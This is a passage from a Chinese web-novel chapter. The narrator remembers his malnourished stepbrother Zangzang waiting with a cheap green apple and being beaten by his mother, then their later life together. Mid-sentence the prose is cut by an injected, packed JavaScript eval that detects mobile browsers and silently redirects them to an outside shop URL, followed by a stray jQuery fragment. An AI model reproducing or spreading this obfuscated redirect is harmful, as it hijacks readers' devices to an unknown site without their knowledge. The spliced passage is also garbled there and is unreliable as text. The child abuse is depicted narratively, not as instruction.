时间过去太久。
我几乎忘了臧臧小时候有那么瘦。
他坐在单元门口石头旁，因为身子骨弱怕冷，还不敢跟别的男孩子一样靠得四平八稳，就挨着石块边，脸上干得只剩眼，蔫巴巴低垂头，手不安搓动。
季节不冷不热，他还穿着不合时宜的厚重棉袄，领子洗得发白，因为胳膊太细，衣褶堆在肩膀。
我远远站着，没吭声。
他似乎未看到我，手指没有绞衣摆时始终护着苹果，那水果发青，不知放了多久，即便专卖青苹果的小摊，也不会摆在明面卖的廉价货。
下马威？
给素面未识的哥哥烂苹果，自己藏起来好苹果，怪不得书上说后妈来后原配的孩子都可怜，合着共同欺负。所以我看到他也当没看见，拉紧书包带继续向楼道口走，不过碍于附近鲜少有小孩子，他望向我就是自然而然的事。
父亲昨晚跟我说他几岁来着？
不知道，不关心。
我目不斜视大步向前，但又故意在接近他时放缓脚步，眼角余光见他紧张站直身子，手已经伸到兜里准备掏那丑兮兮青苹果时三步并作两步冲进楼道。
楼梯陡峭。
如果人站在一楼拐角，外面无法看见上面，我却能将他情况尽收眼底，尤其是棉袄后摆突兀丑陋的破布。
他失落坐下。
仍旧是先前就坐石块边的姿势，别别扭扭，半坐不站，很难想象会有人心甘情愿承受这难熬痛苦。
学校里有饭堂，寒冬腊月的中午很少有学生回家，更别说附近员工。就算他坐到下午两点，也不会来人。
我再爬一层楼，手掌支住侧脸，借助位置优势，低头打量便宜弟弟背影。
除去骨头就是衣服，像个小叫花。
叫花气色都比他好。
反正下午体育课，老师对成绩好的学生总是睁一只眼闭一只眼，我索性爬在窗台，看看他究竟会坐到什么时候。
小叫花始终低着头，偶尔侧目望向路口，寻找与自己年纪相仿的男生，时不时掏出兜里青苹果，极为小心地用棉袄里侧来回轻擦。
擦也擦不干净，东一块西一块灰。
青苹果本来就蔫巴巴的。
要不是他人小力微，手指像五根火柴棍，我还真怕他把那廉价苹果捏碎。
送礼都送拿不出手的。
我看得无聊，懒得将接下来的时间浪费到他身上，起身刚想离开，远处传来高跟鞋跺地的噔噔噔声，随之吵得整个居民区鸡犬不宁。
“谁让你来的！！！”
暴呵好像碎在油锅里的水滴，震得整扇玻璃轻颤，我顺声音望去，浓妆淡抹的大波□□人面部狰狞，她伸出手臂狠狠往下拽，便宜弟弟瑟缩着往后躲也没躲过去，闷响就跟重物砸在鼓面般。
应该是撞到脑袋了。
“妈、妈妈……”
小叫花的声音跟他手指一样细，他不知道是先从地上爬起来，还是先捂住撞痛的脑袋，却护住蔫巴巴苹果不动。
“我没你这儿子……你拿的什么？”
显然，知儿莫母，大波浪弯腰撕扯开小叫花的胳膊，几番挣扎下本就老旧的棉袄更加破烂不堪，棉絮东一点西一点冒头，小叫花脸蛋脏兮兮的，看上去更像叫花子了。
“没，没有东西，妈妈，妈妈……”
就算用尽吃奶的力气，四岁孩子的劲哪能抵得过盛怒中的成年人。
他就像被扒光的袖子皮，赤裸裸躺在这片黑土地，不知护多久的苹果叽里咕噜滚出来，女人指甲死死陷进去，流出淡淡浅色汁水。
她皮肉猛地抽搐跳动。
“你偷我钱就是为了买这个！”
“家里有多余钱让你造？”
“你知不知道我挣钱多难？！”
开窗户的响动噼啪。
其实，家属院中午也是有老人在家的，尽管没大张旗鼓地探头，但多多少少站在暗处看。
毕竟小区算是属于职工家属院，大部分人低头不见抬头见，很少有摆在明面撕破脸的闹剧，尤其还是打孩子。
“……我没偷，我一毛毛攒的。”
小叫花怯生生反驳。
他努力扥平棉袄，试图拍掉布料沾染的尘土，奈何头晕站不起来，只会越打越脏：“我没有偷你的钱。”
“跟你早死的赌鬼爸一个样。”
女人冷笑，掏出钱包清点钞票，嘴里随之报数。每说一字，小叫花后背轻抖，头
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176250|150589||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
却高高昂起。不知是被打得疼又或呼吸过频，小团白雾在嘴边飘散开。
我站得高，女人颠倒黑白的把戏拙劣得可笑，两张纸币合二为一，报出最后相差一块三的结果。
“你觉得做官的儿子能看上这廉价东西？我说你脑子是不是残废，就该把你扔在孤儿院省得丢人现眼。”
青苹果砸到墙，弹回来。
正巧打在我弟弟的背。
“你想一哭二闹三上吊？我告诉你，这都是你妈我玩剩下的，赶紧滚起来！”
我弟弟没哭、没闹。
他扭头，静静望向手边的苹果，沉默地将它放在石块中央，仰头看着这栋半旧不新的单元，白日玻璃反光，似乎在找为什么等不到的哥哥。
“我没有偷钱。”
年数久远，孩子记忆七年一换。
我不太记得那天做的事，但一楼通二楼的窗户，始终烂着，物业不说，邻居未提，每年冬天呼呼地漏风。
等我再度回忆，是父亲带人站在病房里，女人满脸煞白躺在病床上，她牙关紧咬，像看我又像望向虚空。
至于臧臧，我牵着他的手，他低垂着头，站在墙角，浑身不可控地哆嗦。
手真小、真凉。
明明来我家都快七岁了，因为长时间营养不良，模样个头竟与四五岁的幼童无差，即便父亲未提，可看他拧紧的眉心，估计同样对此事深感诧异。
“你带臧臧去买身衣服。”父亲吩咐我，目光从我拉住他手腕交界处掠过。
父亲顿了顿，补充。
“再剪个头发。”
他先一步挡去臧臧的视线。
从那天起，臧臧、我、我父亲再未吃过青苹果。至于一楼窗户，等臧臧念完小学抽条，比他母亲还高才修好。
漫漫数年，梦起时弹指一挥间。
我仰面躺在地上。
恍惚中，臧臧从远处走来，静静坐到我旁边，他小身板大脑袋，冰凉小手轻轻握住我手指，一笑脸颊浮现酒窝。
他笑啊笑，他像根瘦芽菜。
他笑啊笑，他亲亲我鼻尖。
他笑啊笑，他半撒娇地说。
“哥哥不哭。”
“臧臧不疼。”